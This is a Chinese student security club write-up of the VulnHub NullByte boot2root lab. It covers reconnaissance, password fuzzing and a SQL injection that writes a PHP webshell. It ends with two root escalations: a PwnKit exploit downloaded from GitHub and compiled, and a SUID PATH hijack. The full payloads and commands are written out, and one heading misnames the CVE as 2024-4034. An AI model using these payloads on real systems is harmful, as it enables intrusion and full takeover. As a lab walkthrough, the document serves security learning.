网安社团周报 Week3 - Nullbyte靶机 SQL注入 Linux提权

靶机来源于vulnhub 渗透思路参考:红队笔记 主要学习渗透思路以及工具的使用小技巧

靶机描述

1
2
3
4
5
项目代号: NB0x01
目标: 获取 /root/proof.txt 文件,并按照其中的指示操作。
难度等级: 初级到中级。
环境说明: 这是一个“Boot2Root”挑战,虚拟机将通过 DHCP 自动获取 IP 地址,可在 VirtualBox 和 VMware 上正常运行。
提示: 请运用你的横向思维,可能需要编写一些代码。

Nmap信息搜集

扫描C段找主机地址

1
nmap -sn 10.10.110.0/24

只做 Ping 探测不扫描端口

找到NullByte地址为 10.10.110.237

image-20260223222932912

查询靶机开放的所有端口

1
nmap --min-rate 10000 -p- 10.10.110.237

强制 Nmap 以每秒至少发送 10000 个数据包的速度进行扫描

根据开放的端口进行进一步的TCP扫描

1
nmap -sT -sC -sV -O -p 80,111,777,48572 10.10.110.237
sT TCP Connect 扫描 完成TCP三次握手。通常用于在没有root权限时(或者特定网络环境下)替代默认的-sS(SYN扫描)。
sC 使用默认脚本扫描 等效于 --script=default。对目标端口运行Nmap内置的默认脚本集,用于执行常见的漏洞检测、服务信息获取等。
sV 版本探测 探测开放端口上运行的服务及版本(例如:Apache 2.4.41, OpenSSH 8.2p1)。
O 操作系统检测 基于TCP/IP协议栈指纹,尝试识别目标主机的操作系统(例如:Linux 5.x, Windows 10)。

可以看到777端口为ssh服务,80端口是正常的http服务,Linux的大致版本

将命令稍微一改,进行UDP扫描,111端口开放了UDP

1
nmap -sU -sC -sV -O -p 80,111,777,48572 10.10.110.237

-sT为TCP扫描 -sU为UDP扫描

image-20260223224005970

Web渗透

先测试一下Web服务 打开页面看见一只眼睛 看着像静态页面

image-20260223224939750

那就开始扫一下目录,看看有没有什么隐藏目录

1
dirsearch -u http://10.10.110.237/

看到有phpmyadmin服务以及一个uploads目录

image-20260223225202151

打开uploads目录发现不能列出目录

image-20260223225243522

回到Web主页面那里 查看一下源码

1
2
3
4
5
6
7
8
9
10
<html>
<head><title>Null Byte 00 - level 1</title></head>
<body>
<center>
<img src="main.gif">
<p> If you search for the laws of harmony, you will find knowledge. </p>
</center>

</body>
</html>

可以看到没什么东西 只有一个gif文件 因为是打靶 可以猜测有图片隐写 查一下图片的exif信息 可以看到一个隐藏的信息

image-20260224080802435

可以直接将这个当作密码来尝试ssh和phpmyadmin进行登录 发现无果 之后发现访问一下这个路径有回显

靶机之后的地址会变成192.168.116.137 换网络环境了(

image-20260224081027998

查看源码可以看到提示 让我们进行爆破密码

1
2
3
4
5
6
7
<center>
<form method="post" action="index.php">
Key:<br>
<input type="password" name="key">
</form>
</center>
<!-- this form isn't connected to mysql, password ain't that complex --!>

用Yakit的fuzz导入hashmob的small字典爆破即可

注释里面有写密码不复杂 用常用的密码字典就好啦

image-20260224082317171

找到响应长度最不一样的流量包

image-20260224082123037

发现没问题啦 下一步!密码爆破出来为elite

image-20260224082305362

浏览器输入密码发现进入新的页面 成功!

image-20260224082418620

SQL注入-手注-写入Webshell

打开页面发现是一个输入用户名的 输入a测试一下功能

image-20260225002145671

发现可以模糊查询到对应的用户

image-20260225002207383

盲猜这里存在SQL注入 用单引号闭合看一下 发现没有报错

image-20260225002300486

但是双引号进行查询的时候发现报错了 这里可能存在SQL注入

image-20260225002330709

使用ORDER BY语句先查询一下列数 看看是否存在注入

1
http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" ORDER BY 3-- -

发现三列正常查询

image-20260225003449170

但是四列的时候就开始报错了 可以看出列数为三列 而且存在SQL注入 语句写入进去啦

1
http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" ORDER BY 4-- -

image-20260225003558418

知道了列数 使用SQL语法来直接写入webshell 写入到我们之前探测到的/uploads目录

1
http://192.168.116.137/kzMb5nVYJw/420search.php?usrtosearch=" union select "<?php system($_GET['a']); ?>",2,3 into outfile "/var/www/html/uploads/shell.php"; -- -

看到回显 发现语句执行成功

image-20260225004326378

访问发现有回显!上传成功!

image-20260225004340922

执行命令whoami 可以看到权限为www-data低权限

image-20260225004434232

刚刚的页面有查询数据库的功能 所以可以先从刚刚的页面看起 看一下源码

1
.\curl.exe http://192.168.116.137/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php

成功得到mysql服务的用户和密码

image-20260225005111435

渗透phpmyadmin-获得低权限ssh shell

刚刚得到了mysql的用户密码 之前的时候扫描过目录 知道有个数据库管理站点 用这个密码登录上去

image-20260225005448944

找到一个刻意的库 里面的ramses用户的pass看起来像是base64编码

image-20260225005701075

解码之后发现类似于md5加密

image-20260225005721460

用一个在线的彩虹表查询到密码为omega

image-20260225005800969

使用ssh连接服务器 之前我们知道是777端口啦 用户是ramses

1
ssh ramses@192.168.116.137 -p 777

成功登录 获得低权限shell!

image-20260225010015219

Linux提权

方法一 懒人提权 CVE-2024-4034

该靶机内核版本存在CVE-2021-4034 (PwnKit) 漏洞,且系统自带gcc编译器,因此可以直接下载利用源码进行编译提权。

有gcc的时候用这个挺爽的 这个洞的涵盖范围蛮大的 wget直接下载c文件

1
wget --no-check-certificate https://github.com/arthepsy/CVE-2021-4034/raw/refs/heads/main/cve-2021-4034-poc.c

image-20260225011150943

使用gcc编译一下c文件

1
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc

最后执行编译文件 得到root shell

image-20260225011259136

查看proof.txt 打靶成功!

image-20260225011348152

方法二 SUID提权

查询有SUID的文件

1
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;

可以看到里面的 procwatch 很可疑

image-20260225012116512

执行了这个文件后回显如下 其实有点像最后会用SUID的权限执行了一下ps命令的效果

它很可能是一个由root拥有并设置了SUID位的程序,其内部调用了ps命令

image-20260225013335695

那这时候就比较简单了 就是改一下环境变量 并把sh之类的shell名称改为ps 实现软件执行时使用ps命令 实际上用root权限执行sh提权的效果

但由于使用的是相对路径(即只写了ps而不是/bin/ps),所以我们可以通过修改$PATH环境变量,让系统优先执行我们伪造的ps程序。

创建一个sh的软连接 名字为ps

1
ln -s /bin/sh ps

写入环境变量 将当前目录(.)添加到PATH的最前面

1
export PATH=.:$PATH

执行procwatch,此时它会调用”ps”,但实际上运行的是我们的/bin/sh,并且是root权限

image-20260225025210382

查看proof.txt 打靶成功!

image-20260225025230220